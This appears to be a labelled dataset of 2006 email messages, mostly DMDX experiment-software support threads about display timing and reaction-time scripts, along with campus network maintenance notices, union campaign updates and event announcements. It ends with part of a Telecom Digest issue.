! Display error at msec 5293.64, tick 387 in item 9053, frame """" ! moved into video memory 31 ticks late ! (previous frame's duration will have been longer) 9053 445.01 2422.42 ! Display error at msec 7715.50, tick 569 in item 9028, frame """" ! moved into video memory 31 ticks late ! (previous frame's duration will have been longer) 9028 -468.79 4844.84 ! Display error at msec 10164.72, tick 753 in item 9026, frame """" ! moved into video memory 33 ticks late ! (previous frame's duration will have been longer) and here some details of the expe: $ 0 ""*BLUE* = left *GREEN* = right"", ""Ready? Press SPACEBAR to continue""; 250 /; $ +9001 / ""+"" / * ""FrontL_LeftB"" ; +9002 / ""+"" / * ""FrontL_LeftB"" ; +9003 / ""+"" / * ""FrontL_LeftB"" ; -9026 / ""+"" / * ""FrontR_RightG"" ; etc.. Many thanks in advance for your help! Best regards, Dana -- ________________________________________ Dr Dana Samson Behavioural Brain Sciences Centre School of Psychology - Hills Building University of Birmingham Edgbaston Birmingham, B15 2TT U.K. http://www.danasamson.me.uk Tel: ++44 (0) 121 414 3661 Fax: ++44 (0) 121 414 4897",0,1 Joao Verissimo ,DMDX@psy1.psych.arizona.edu,"Fri, 10 Mar 2006 17:59:11 +0000",[DMDX] Re: Intel i845 chipset,"Hi. I got that error often, and solved it by increasing the delay parameter. (I still get it, but only after a timeout in the previous trial). I suppose it should be possible for you to get the timings you want by using , no? So far as I remember from what Jonathan said, it can also be solved by inserting the delay instruction in each item, instead of in the parameters line. But you still get those frames not moving into memory exactly 4 ticks late, but no error (right, Jonathan?) João Dana Samson wrote: > Dear all, > > I have tried to run an experiment on a new computer and received > repeatedly the following type of error message *Display error at ms %d, > tick %d in %d, frame ""%s"" moved into video memory %d ticks late *(see > end of mail for full error message). > > The new computer has the following motherboard: > > Gigabyte GA-8I945G Pro > > Which has the following chipset > > Intel i845 chipset > > I am using the onboard graphics (Intel 82845G), which states that a > minimum 64MB and a maximum 128MB of memory is available. > > The experiment runs fine on older computers (which have different > chipsets). > > This is what we tried to do to solve the problem, but with no success: > > 1. Turned off hyperthreading > 2. Updated the chipset drivers > 3. Updated the video drivers > 4. Disabled all start-up programs and non-windows services > 5. Turned off screen saver and power management > > What else can we do to try to solve the problem? > >> From previous messages on the mailing list (august 2003), I understand > > that the Intel i845 chipset might be at the origin of the problem... > > Note that if I increase the value of (e.g. from to ), > I have no error message anymore, but this is not a solution for me really. > > > For your information, > > here the full error messages: > > Subject 9, 03/10/2006 16:30:51 on PSG-DS-02, refresh 13.31ms > Item RT COT > 9003 452.64 0.00 > ! Display error at msec 5293.64, tick 387 in item 9053, frame """" > ! moved into video memory 31 ticks late > ! (previous frame's duration will have been longer) > 9053 445.01 2422.42 > ! Display error at msec 7715.50, tick 569 in item 9028, frame """" > ! moved into video memory 31 ticks late > ! (previous frame's duration will have been longer) > 9028 -468.79 4844.84 > ! Display error at msec 10164.72, tick 753 in item 9026, frame """" > ! moved into video memory 33 ticks late > ! (previous frame's duration will have been longer) > > > > and here some details of the expe: > > ""keyboard""> > > > $ > 0 ""*BLUE* = left *GREEN* = right"", ""Ready? Press SPACEBAR to > continue""; > > 250 /; > > $ > > +9001 / ""+"" / * ""FrontL_LeftB"" ; > > +9002 / ""+"" / * ""FrontL_LeftB"" ; > > +9003 / ""+"" / * ""FrontL_LeftB"" ; > > -9026 / ""+"" / * ""FrontR_RightG"" ; > > etc.. > > Many thanks in advance for your help! > Best regards, > Dana >",0,0 Network Operations Center ,NET_PEOPLE@EMAIL.RUTGERS.EDU,"Fri, 10 Mar 2006 15:24:00 -0500",Scheduled Maintenance - Week of 03/13/2006,"ID: 1155 Description: OS Upgrade - NEW JERSEY HALL CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/15/2006 0700 End Date: 03/15/2006 0800 Summary: Network Operations will be upgrading CORE router cr01-njh-njh. Disruptions in network connectivity to the NJH A-tree areas are expected. Affected: cr01-njh-njh Type: Scheduled ---- ID: 1156 Description: OS Upgrade - FOOD SCIENCE CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/16/2006 0700 End Date: 03/16/2006 0800 Summary: Network Operations will upgrade the CORE router cr01-fsci-fsci. Disruptions in network connectivity to the FSCI A-tree areas are expected. Affected: cr01-fsci-fsci Type: Scheduled ---- ID: 1157 Description: OS Upgrade - ASB CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/14/2006 0700 End Date: 03/14/2006 1400 Summary: Network Operations will upgrade the CORE router cr01-asb-asb. Disruptions in network connectivity to the ASB A-tree areas are expected Affected: cr01-asb-asb Type: Scheduled ---- ID: 1159 Description: OS Upgrade - TILLETT CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/15/2006 0600 End Date: 03/15/2006 0700 Summary: Network Operations will upgrade the CORE router cr01-til-til. Disruptions in network connectivity to the TIL A-tree areas are expected Affected: cr01-til-til Type: Scheduled ---- ID: 1160 Description: OS Upgrade - LOREE CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/16/2006 0700 End Date: 03/16/2006 0800 Summary: Network Operations will upgrade the CORE router cr01-lor-lor. Disruptions in network connectivity to the LOR A-tree areas are expected Affected: cr01-lor-lor Type: Scheduled ---- ID: 1161 Description: OS Upgrade - DOUGLASS LIBRARY CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/16/2006 0600 End Date: 03/16/2006 0700 Summary: Network Operations will upgrade the CORE router cr01-dlib-dlib. Disruptions in network connectivity to the DLIB A-tree areas are expected Affected: cr01-dlib-dlib Type: Scheduled ---- ID: 1162 Description: OS Upgrade - COOK CAMPUS CENTER CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/16/2006 0600 End Date: 03/16/2006 0700 Summary: Network Operations will upgrade the CORE router cr01-ccc-ccc. Disruptions in network connectivity to the CCC A-tree areas are expected Affected: cr01-ccc-ccc Type: Scheduled ---- ID: 1293 Description: OS Upgrade - HILL CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/14/2006 0630 End Date: 03/14/2006 0730 Summary: Network Operations will upgrade the CORE routers cr01-hill012-svcs and pr01-hill012-svcs . Disruptions in network connectivity to the HILL A-tree area are expected. Affected: cr01-hill012-hill, pr01-hill012-svcs Type: Scheduled ---- ID: 1295 Description: OS Upgrade - LIBRARY OF SCIENCE AND MEDICINE CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/14/2006 0700 End Date: 03/14/2006 0800 Summary: Network Operations will upgrade the CORE router cr01-lsm-lsm. Disruptions in network connectivity to the LSM A-tree areas are expected. Affected: cr01-lsm-lsm Type: Scheduled ---- ID: 1296 Description: OS Upgrade - ALEXANDER LIBRARY CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/14/2006 0700 End Date: 03/14/2006 0800 Summary: Network Operations will upgrade the CORE router cr01-alex-alex. Disruptions in network connectivity to the ALEX A-tree areas are expected. Affected: cr01-alex-alex Type: Scheduled ---- ID: 1297 Description: OS Upgrade - KILMER CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/15/2006 0600 End Date: 03/15/2006 0700 Summary: Network Operations will upgrade the CORE router cr01-kilm-kilm. Disruptions in network connectivity to the KILM A-tree areas are expected. Affected: cr01-kilm-kilm Type: Scheduled ---- ID: 1298 Description: Configuration Update - Hill Hall Distribution Disruption: Degradation Campus: Newark Start Date: 03/14/2006 0600 End Date: 03/14/2006 0700 Summary: Network Operations will update ds01-hilh-hilh. During this window, a degradation of network connectivity may occur in the ENGL and HILH A-tree areas. Affected: ds01-hilh-hilh Type: Scheduled ---- If you have any questions or comments concerning this announcement, please contact the TD-Network Operations Center at 732-445-7541 or at noc@rutgers.edu. Additional information, new issues, and maintenance schedules may be found at- http://www-td.rutgers.edu/tools/Network_Status Thank you for your attention. TD-Network Operations Center ",0,1 Yvonne Aburrow ,aut-announcements@bath.ac.uk,"Fri, 10 Mar 2006 13:46:11 +0000",Campaign update 10 March 2006 (fwd),"------------ Forwarded Message ------------ Date: 10 March 2006 12:33 +0000 From: Matt Waddup Subject: Campaign update 10 March 2006 Dear colleague, 1. Action solid, PLEASE tell us what you are NOT doing! Many members have already used the new web form to tell us about the action they are undertaking. The form is easy to use, you can remain anonymous and it enables the union to show that the action is having a major impact. Go to http://www.aut.org.uk/index.cfm?articleid=1548 now to tell us how you are supporting the action, and go back every time you do something new. Please help us to publicise the action by telling us what you are doing, however small. 2. Employers threaten to use non-union labour to break boycott - external examiners, be vigilant In a sign of how rattled they are, some universities are now threatening to use non-union casual labour to clear any marking backlog. Leaving aside the fact that this will only inflame the situation further, you can help us in the following ways: * If you are an external examiner be vigilant on any issues of quality when you oversee already marked scripts. * If you have particular concerns about the marking of assessments and examinations raise it with a senior figure in the university. * For example, the QAA Code of Practice suggests external examiners write a confidential report to the head of institution on matters of 'particular importance or sensitivity'. 3. Take the message to your students In response to many requests we have produced a letter for you to hand out to your students to explain the background to the boycott. Please free to amend according to your own circumstances. The letter can be found here http://www.aut.org.uk/media/docs/b/g/payaction_dearstudent.rtf 4. Strike day media frenzy Our strike action resulted in an unprecedented level of media interest in university pay levels. Thanks to those members who did interviews, rang phone-ins, wrote to their local paper. Everything helps, and we have collected as much of the coverage as we can. Tuesday's action certainly kept the press office busy this week trying to put all the coverage together. This week's digest collates what we've had in so far so check if your local media is covering the action and if they are a friend or foe. If they're not reporting what's happening locally then do get in touch with them. If you need any advice contact Dan in the press office at mailto:dan.ashley@aut.org.uk. Also check in to find out if your v-c is one of the 33 earning a higher salary than the prime minister. You can view the latest media digest here http://www.aut.org.uk/index.cfm?articleid=1562 5. More pay at the top -- how they justified those massive increases As the Times Higher said yesterday: ""Until the leaders of higher education show the same restraint they are demanding from the unions, disputes like the current one are bound to be well supported."" They were referring to the 25% average increase over three years for Vice-Chancellors. You can view the full table at http://www.aut.org.uk/index.cfm?articleid=1561. It is also worth noting that UCEA and Universities UK in a joint statement said that: ""their [VCs'] remuneration packages reflect what it takes to attract, retain and reward individuals of sufficient calibre, experience and talent in a growing sector."" What a pity they do not apply the same standards to those who actually do the work. It seems extraordinary that VCs, some of whom have seen their pay grow by as much as 60%, are calling on you to show ""restraint"" when they show anything but that for themselves. AUT has today written to Ruth Kelly to call for an inquiry into how these exorbitant salaries are set. Thank you for taking the time to read this. All/best Matt Waddup, ags ---------- End Forwarded Message ---------- Yvonne -- Yvonne Aburrow Web Developer, Computing Services, University of Bath +44 (0)1225 38 6022 Y.Aburrow@bath.ac.uk http://people.bath.ac.uk/ccsya/",0,1 Gene Hambrick ,"wambima@earlham.edu, pase@earlham.edu","Fri, 10 Mar 2006 15:25:55 -0500",Re: [Pase] Re: Welcome Back!!,"Hey Mwaura, I have not heard anything about PASE lately. What is happening? Thanks. Regards. Gene At 02:22 PM 1/27/2006, Gene Hambrick wrote: >Hi Mwaura, > >I am out of town. > >Good luck with the meeting. > >Regards > >Gene Hambrick > >At 10:55 AM 1/27/2006, wambima@earlham.edu wrote: >>Hello All, >>A late welcome back to all of you. I hope that your Christmas break was >>good and the semester started of well for everyone. Next week Wednesday >>will be our first meeting, just a catch up meeting to see where everyone >>is at. Does 9:00pm sound ok with everyone? Please RSVP if you can make it >>and if you can't. Some refreshments will be provided. Peace and Love. >>Mwaura. >> >>_______________________________________________ >>PASE mailing list >>PASE@lists.earlham.edu >>http://lists.earlham.edu/mailman/listinfo/pase > >Gene Hambrick >Development Officer >Earlham College >801 National Road West >Drawer 193 >Richmond, Indiana 47374 >TEL: 765.983.1640 >FAX: 765.983.1300 >E-MAIL: hambrge@earlham.edu >_______________________________________________ >PASE mailing list >PASE@lists.earlham.edu >http://lists.earlham.edu/mailman/listinfo/pase Gene Hambrick Development Officer Earlham College 801 National Road West Drawer 193 Richmond, Indiana 47374 TEL: 765.983.1640 FAX: 765.983.1300 E-MAIL: hambrge@earlham.edu ",0,1 Yvonne Aburrow ,aut-announcements@bath.ac.uk,"Fri, 10 Mar 2006 15:36:10 +0000",Clarification on Action Short of a Strike,"Hi all Apparently there has been a query from some students about whether some lecturers might be refusing to supervise student dissertations in connection with the action. Apparently Bath Student Union had published something in which this was claimed. The guidance says that supervision is teaching and goes ahead as normal. It is only the marking of the work that is boycotted. http://www.aut.org.uk/index.cfm?articleid=1556 Regards Yvonne -- Yvonne Aburrow Web Developer, Computing Services, University of Bath +44 (0)1225 38 6022 Y.Aburrow@bath.ac.uk http://people.bath.ac.uk/ccsya/ ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 10 Mar 2006 16:38:50 -0700",[DMDX] Re: RT measurement - sanity check please,"At 04:51 AM 3/10/2006 -0800, you wrote: >I would like to ask for some indulgance and a sanity >check (DMDX script check actually). >... >The problem is that the data does not look right. Is >it possible that the RT clock is measuring from the >start of chunk 3? Doesn't look like it. About the only way to be really sure a machine is measuring RTs correctly is to build some test apparatus and to bench it like I describe in the input documentation. It's possible you might be able to find a timer that can open and close a relay on a regular basis and us it to calibrate your machine. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The plot was designed in a light vein that somehow became varicose. - David Lardner ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 10 Mar 2006 16:42:10 -0700",[DMDX] Re: Intel i845 chipset,"At 05:59 PM 3/10/2006 +0000, you wrote: >Hi. > >I got that error often, and solved it by increasing the delay parameter. >(I still get it, but only after a timeout in the previous trial). > >I suppose it should be possible for you to get the timings you want by >using , no? > >So far as I remember from what Jonathan said, it can also be solved by >inserting the delay instruction in each item, instead of in the >parameters line. But you still get those frames not moving into memory >exactly 4 ticks late, but no error (right, Jonathan?) Yeah, using in items without in the parameter line doesn't get rigorous timing. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The plot was designed in a light vein that somehow became varicose. - David Lardner",0,0 Fran Fabrizio ,fran@cis.uab.edu,"Fri, 10 Mar 2006 16:43:32 -0600",Pizza Party Friday Night,"Hey, we're having a pizza party on Friday night. Can you make it? Let me know! ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 10 Mar 2006 16:46:16 -0700",[DMDX] Re: more RT blues (part III),"Given the extreme roundness of the RT -2100 I'd search through my item file and see where occurred and perhaps this will shed some light. At 07:16 AM 3/10/2006 -0800, you wrote: >I am just one confused person today and I cannot >reason my through this problem. > >The two items below are virtually identical (with the >exception of different frame durations (inter stimuli >intervalii) in their first frames. > >Why then, if I run these without responding, i.e., let >them timeout, do I get different reaction times? > >-9 0.5, 0.5> ""+"" / > ""+"" , > >""O"" * / > ""+"" / > ""+"" , > >""<<<<<"" ; > >-10 0.5, 0.5> ""+"" / > ""+"" , > >""O"" * / > ""+"" / > ""+"" , > >""<<<<<"" ; > > >Subject 1, 03/10/2006 15:13:30 on PIPPI, refresh >13.33ms, ID 999.4 > Item RT > 1 -2300.00 > > 9 -2300.00 > 10 -2100.00 > > >Derek Eder >Bagaregårdsgatan 3E, nr 134 >SE 416 70 Göteborg (Gothenburg) >Sverige (Sweden) > >+46 (031) 25 97 07 (home) >+46 0709 721 283 (mobil) > >email: derek_eder@yahoo.com >web page: www.derek-eder.org > >""Forgiveness means giving up any hope for a better past"" - after Gil Fronsdal > >__________________________________________________ >Do You Yahoo!? >Tired of spam? Yahoo! Mail has the best spam protection around >http://mail.yahoo.com >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The plot was designed in a light vein that somehow became varicose. - David Lardner",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 10 Mar 2006 17:08:27 -0700",[DMDX] Re: Intel i845 chipset,"At 05:41 PM 3/10/2006 +0000, you wrote: >Dear all, > >I have tried to run an experiment on a new computer and received >repeatedly the following type of error message *Display error at ms %d, >tick %d in %d, frame ""%s"" moved into video memory %d ticks late *(see end >of mail for full error message). > >The new computer has the following motherboard: > >Gigabyte GA-8I945G Pro > >Which has the following chipset > >Intel i845 chipset > >I am using the onboard graphics (Intel 82845G), which states that a >minimum 64MB and a maximum 128MB of memory is available. > >The experiment runs fine on older computers (which have different chipsets). > >This is what we tried to do to solve the problem, but with no success: > >1. Turned off hyperthreading >2. Updated the chipset drivers >3. Updated the video drivers >4. Disabled all start-up programs and non-windows services >5. Turned off screen saver and power management > >What else can we do to try to solve the problem? Could be the hard disk is failing or hopelessly screwed up, you might want to check it and do a full scan of the thing. You could put another video card in to at least see if the problem goes away if not as a permanent solution. You can scan it for viruses and malware. We like the Microsoft Defender beta for the malware. You can also try a clean install of the OS on another hard disk and see if there's something screwed up with the OS (like malware). Perhaps a different video mode, say a 32 bit will speed things up. > From previous messages on the mailing list (august 2003), I understand > that the Intel i845 chipset might be at the origin of the problem... Maybe but loading an image in 4 ticks is going to strain a lot of machines. >Note that if I increase the value of (e.g. from to ), I >have no error message anymore, but this is not a solution for me really. > > >For your information, > >here the full error messages: > >Subject 9, 03/10/2006 16:30:51 on PSG-DS-02, refresh 13.31ms > Item RT COT > 9003 452.64 0.00 >! Display error at msec 5293.64, tick 387 in item 9053, frame """" >! moved into video memory 31 ticks late >! (previous frame's duration will have been longer) > 9053 445.01 2422.42 >! Display error at msec 7715.50, tick 569 in item 9028, frame """" >! moved into video memory 31 ticks late >! (previous frame's duration will have been longer) > 9028 -468.79 4844.84 >! Display error at msec 10164.72, tick 753 in item 9026, frame """" >! moved into video memory 33 ticks late >! (previous frame's duration will have been longer) > > > >and here some details of the expe: > > ""keyboard""> > > >$ >0 ""*BLUE* = left *GREEN* = right"", ""Ready? Press SPACEBAR to >continue""; > >250 /; > >$ > >+9001 / ""+"" / * ""FrontL_LeftB"" ; > >+9002 / ""+"" / * ""FrontL_LeftB"" ; > >+9003 / ""+"" / * ""FrontL_LeftB"" ; > >-9026 / ""+"" / * ""FrontR_RightG"" ; Seeing as you don't care about rigid ISIs though I'd just go with in the parameter line and let DMDX stuff the thing up whenever it can. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The plot was designed in a light vein that somehow became varicose. - David Lardner",0,0 cm2036@columbia.edu,economicsbb@columbia.edu,"Fri, 10 Mar 2006 18:07:39 -0500",SUMMER SCHOOL IN ECONOMETRICS 2006 - Copenhagen,"THE UNIVERSITY OF COPENHAGEN SUMMER SCHOOL IN ECONOMETRICS 2006 Econometric Methodology and Macroeconomic Applications The Cointegrated VAR Model - Econometric Methodology and Macroeconomic Applications 31 July - 20 August The Department of Economics at the University of Copenhagen in Denmark hereby invites interested academics, PhD students and other qualified graduate students to take part in a Summer School in Econometrics. The purpose of the programme is to provide the participants with a good understanding of the cointegrated VAR approach. The course will give a thorough introduction to the theoretical properties of the VAR model and, at the same time, demonstrate its applicability to various fields of macroeconomic modelling. FACULTY: Professors Soren Johansen, Katarina Juselius, Anders Rahbek and Heino Bohn Nielsen. ABOUT THE DEPARTMENT OF ECONOMICS: Situated in the heart of Copenhagen, the Department of Economics at University of Copenhagen is a highly research- oriented department within Denmark's premier university. The Department is one of the leading economics departments in continental Europe and offers courses at Bachelor, Master's and PhD levels. APPLICATIONS/FURTHER INFORMATION: Further information is available at: http://www.econ.ku.dk/summerschool/ Deadline for application is 28 April 2006. ",0,1 Dana Samson ,DMDX@psy1.psych.arizona.edu,"Sat, 11 Mar 2006 10:40:16 +0000",[DMDX] Re: Intel i845 chipset,"Dear Jonathan and Joao, Many thanks for your responses! I will try your suggestions out. Best regards, Dana Jonathan C. Forster wrote: > At 05:41 PM 3/10/2006 +0000, you wrote: > >> Dear all, >> >> I have tried to run an experiment on a new computer and received >> repeatedly the following type of error message *Display error at ms >> %d, tick %d in %d, frame ""%s"" moved into video memory %d ticks late >> *(see end of mail for full error message). >> >> The new computer has the following motherboard: >> >> Gigabyte GA-8I945G Pro >> >> Which has the following chipset >> >> Intel i845 chipset >> >> I am using the onboard graphics (Intel 82845G), which states that a >> minimum 64MB and a maximum 128MB of memory is available. >> >> The experiment runs fine on older computers (which have different >> chipsets). >> >> This is what we tried to do to solve the problem, but with no success: >> >> 1. Turned off hyperthreading >> 2. Updated the chipset drivers >> 3. Updated the video drivers >> 4. Disabled all start-up programs and non-windows services >> 5. Turned off screen saver and power management >> >> What else can we do to try to solve the problem? > > > Could be the hard disk is failing or hopelessly screwed up, you > might want to check it and do a full scan of the thing. > > You could put another video card in to at least see if the problem > goes away if not as a permanent solution. > > You can scan it for viruses and malware. We like the Microsoft > Defender beta for the malware. > > You can also try a clean install of the OS on another hard disk and > see if there's something screwed up with the OS (like malware). > > Perhaps a different video mode, say a 32 bit will speed things up. > > >> From previous messages on the mailing list (august 2003), I >> understand that the Intel i845 chipset might be at the origin of the >> problem... > > > Maybe but loading an image in 4 ticks is going to strain a lot of > machines. > > >> Note that if I increase the value of (e.g. from to > 76>), I have no error message anymore, but this is not a solution for >> me really. >> >> >> For your information, >> >> here the full error messages: >> >> Subject 9, 03/10/2006 16:30:51 on PSG-DS-02, refresh 13.31ms >> Item RT COT >> 9003 452.64 0.00 >> ! Display error at msec 5293.64, tick 387 in item 9053, frame """" >> ! moved into video memory 31 ticks late >> ! (previous frame's duration will have been longer) >> 9053 445.01 2422.42 >> ! Display error at msec 7715.50, tick 569 in item 9028, frame """" >> ! moved into video memory 31 ticks late >> ! (previous frame's duration will have been longer) >> 9028 -468.79 4844.84 >> ! Display error at msec 10164.72, tick 753 in item 9026, frame """" >> ! moved into video memory 33 ticks late >> ! (previous frame's duration will have been longer) >> >> >> >> and here some details of the expe: >> >> > ""keyboard""> > 1024,768,768,16,75> >> >> $ >> 0 ""*BLUE* = left *GREEN* = right"", ""Ready? Press SPACEBAR >> to continue""; >> >> 250 /; >> >> $ >> >> +9001 / ""+"" / * ""FrontL_LeftB"" ; >> >> +9002 / ""+"" / * ""FrontL_LeftB"" ; >> >> +9003 / ""+"" / * ""FrontL_LeftB"" ; >> >> -9026 / ""+"" / * ""FrontR_RightG"" ; > > > Seeing as you don't care about rigid ISIs though I'd just go with > in the parameter line and let DMDX stuff the thing up > whenever it can. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The plot was designed in a light vein that somehow became varicose. > > - David Lardner > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== -- ________________________________________ Dr Dana Samson Behavioural Brain Sciences Centre School of Psychology - Hills Building University of Birmingham Edgbaston Birmingham, B15 2TT U.K. http://www.danasamson.me.uk Tel: ++44 (0) 121 414 3661 Fax: ++44 (0) 121 414 4897",0,1 """Virginia M. Holmes"" ",DMDX@psy1.psych.arizona.edu,"Sat, 11 Mar 2006 22:11:23 +1100",[DMDX] Final remark on special characters,"Hi all Just to note that it's not simple just to choose another font (that works) if what is required is a set of characters none of which resemble the English alphabet. In trying out all the Arial Unicode fonts, the only appropriate sets that seemed to work were Katakana and Hiragana. But on subsequent testing, DMDX still failed to recognise a few of the characters, and since that appeared to occur intermittently or to depend upon where in the sequence the character was, I decided that it was too risky to use. The alternative at the moment is making individual bmp files for the about 100 different sequences. If some time in the future Arial Unicode characters were available, that would be much appreciated. Virginia Holmes Assoc. Prof. V. M. Holmes Department of Psychology University of Melbourne Parkville 3010 Australia Tel: (03) 8344.6368 Facs: (03) 9347.6618 ----- Original Message ----- From: ""Derek Eder"" To: Sent: Friday, March 10, 2006 11:51 PM Subject: [DMDX] RT measurement - sanity check please >I would like to ask for some indulgance and a sanity > check (DMDX script check actually). > > I am not sure if my script is doing precisely what I > intended because the resulting data smells fishy. > > Below is one line from an item file which I have > broken up into conceptual chunks here: > > (chunk 1 - wait interstimulus interval with fixation > cross) Item #23, display the character ""+"" for 223 > ticks > > (chunk 2 - display fixation and cue) display the > characters ""+"" and ""O"" for 13 ticks (~200 > milliseconds) and start the RT clock with a timeout of > 2700 milliseconds > > (chunk 3 - display fix) display a ""+"" alone for 49 > ticks (800 ms) > > (chunk 4 - display fix and target) target = ""<<<<<<"" > wait for response or end of timeout before moving to > next item.) > > > > +23 0.5, 0.5> ""+"" / > > > ""+"" , 1.008> ""O"" * / > > > ""+"" / > > ""+"" , > 1.008> "">>>>>"" ; > > > Now, the reaction time I really want to measure is > from the onset of the target presentation (chunk 4), > but to catch premature responses to the presentation > of the cue (in chunk 2), I start the RT clock with the > cue onset. > > So, to calculate the actual valid RT, I take the raw > RT measurement and subtract 13 + 49 ticks (in > milliseconds). > > The problem is that the data does not look right. Is > it possible that the RT clock is measuring from the > start of chunk 3? > > Thanks a million! > > - Derek > > > Derek Eder > Bagaregårdsgatan 3E, nr 134 > SE 416 70 Göteborg (Gothenburg) > Sverige (Sweden) > > +46 (031) 25 97 07 (home) > +46 0709 721 283 (mobil) > > email: derek_eder@yahoo.com > web page: www.derek-eder.org > > ""Forgiveness means giving up any hope for a better past"" - after Gil > Fronsdal > > __________________________________________________ > Do You Yahoo!? > Tired of spam? Yahoo! Mail has the best spam protection around > http://mail.yahoo.com > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 11 Mar 2006 10:19:56 -0700",[DMDX] Re: Final remark on special characters,"At 10:11 PM 3/11/2006 +1100, you wrote: >Hi all > >Just to note that it's not simple just to choose another font (that works) >if what is required is a set of characters none of which resemble the >English alphabet. In trying out all the Arial Unicode fonts, the only >appropriate sets that seemed to work were Katakana and Hiragana. But on >subsequent testing, DMDX still failed to recognise a few of the >characters, and since that appeared to occur intermittently or to depend >upon where in the sequence the character was, I decided that it was too >risky to use. The alternative at the moment is making individual bmp >files for the about 100 different sequences. If some time in the future >Arial Unicode characters were available, that would be much appreciated. If it makes you feel any better it's weeks worth of work to make DMDX handle ""a few"" unicode characters and it runs the risk of upsetting almost every single part of DMDX. Each piece of code that manipulates pointers to characters (like almost all of DMDX does) has to be gone over with a fine tooth comb because instead of a character being one byte it's now two. Every single string (error messages, anything DMDX prints, you name it) has to be wrapped with __T(). Now mind you, RTF files are still going to be one byte characters so there's got to be code that intermixes byte wide character pointers with 16 bit ones, yeecch. And then of course we have to test these changes. Months away at the very least and that's assuming we decide to do it and I for one ain't leaping at the opportunity. And won't be under any circumstances till we need it here. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The moving cursor writes, and having written, blinks on. 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Townson Little-Used Corner of Net Becomes Piracy Battlefield (Monty Solomon) Re: Keokuk Dam & 25Hz Power (BobT) Re: Keokuk Dam & 25Hz Power (Justa Lurker) Re: Internet and Civil Liberties? (DLR) Re: Gas Refrigerator (was 25 Hz Power) (DLR) Re: Gas Refrigerator (was 25 Hz Power) (GlowingBlueMist) Re: 25 Hz Power (Robert Bonomi) Re: 25 Hz Power (DLR) Re: 25 Hz Power (obsidian) Re: 25 Hz Power (CharlesH) Re: 25 Hz Power (Herb Stein) Re: 25 Hz Power (Ernie Kline) Re: 25 Hz Power (Dale Farmer) Re: 208/240V, was: 25 Hz Power (L (John McHarry) Re: The 411 on Directory Assistance (Lou Jahn) Re: 3 Phase Power (DLR) Employment Opportunity: Testing Development Positions East Coast (stanna) Telecom and VOIP (Voice over Internet Protocol) Digest for the Internet. All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. =========================== Addresses herein are not to be added to any mailing list, nor to be sold or given away without explicit written consent. Chain letters, viruses, porn, spam, and miscellaneous junk are definitely unwelcome. We must fight spam for the same reason we fight crime: not because we are naive enough to believe that we will ever stamp it out, but because we do not want the kind of world that results when no one stands against crime. Geoffrey Welsh =========================== See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Sun, 12 Mar 2006 11:38:16 -0500 From: Monty Solomon Subject: Little-Used Corner of Net Becomes Piracy Battlefield Movie industry sues companies that aid downloads on Usenet By Hiawatha Bray, Globe Staff An obscure data network technology called the Usenet has become the newest battleground between the entertainment industry and digital music and movie pirates. Late last month, the Motion Picture Association of America filed its first-ever lawsuits against Internet companies that help people download illegally copied films over the Usenet. The association says that the companies, NZB-Zone, BinNews, and DVDRS, provide a Google-like search service for Usenet, one that lets its users find thousands of pirated films, including recent hits such as 'King Kong', 'The Chronicles of Narnia', and 'The 40-Year-Old Virgin.' The three companies did not respond to e-mail messages requesting comment. Their websites do not list physical addresses or phone numbers, and one of them, DVDRS, has apparently been shut down. Even the lawsuits filed against the companies identify them as John Does, and do not include contact information. http://www.boston.com/business/technology/articles/2006/03/09/little_used_corner_of_net_becomes_piracy_battlefield/ ------------------------------ From: BobT Subject: Re: Keokuk Dam & 25Hz Power Organization: EasyNews, UseNet made Easy! Date: Sun, 12 Mar 2006 13:38:56 GMT On Sat, 11 Mar 2006 23:01:52 GMT, John McHarry wrote: > When I was young I was told that the dam at Keokuk, IA generated 25Hz > power. Since construction was completed in 1913, this may well have > been true. I was also told that the power was by then converted to > 60Hz and fed into the grid. This is probably no longer true, but in the 60's/70's, Union Electric (as it was 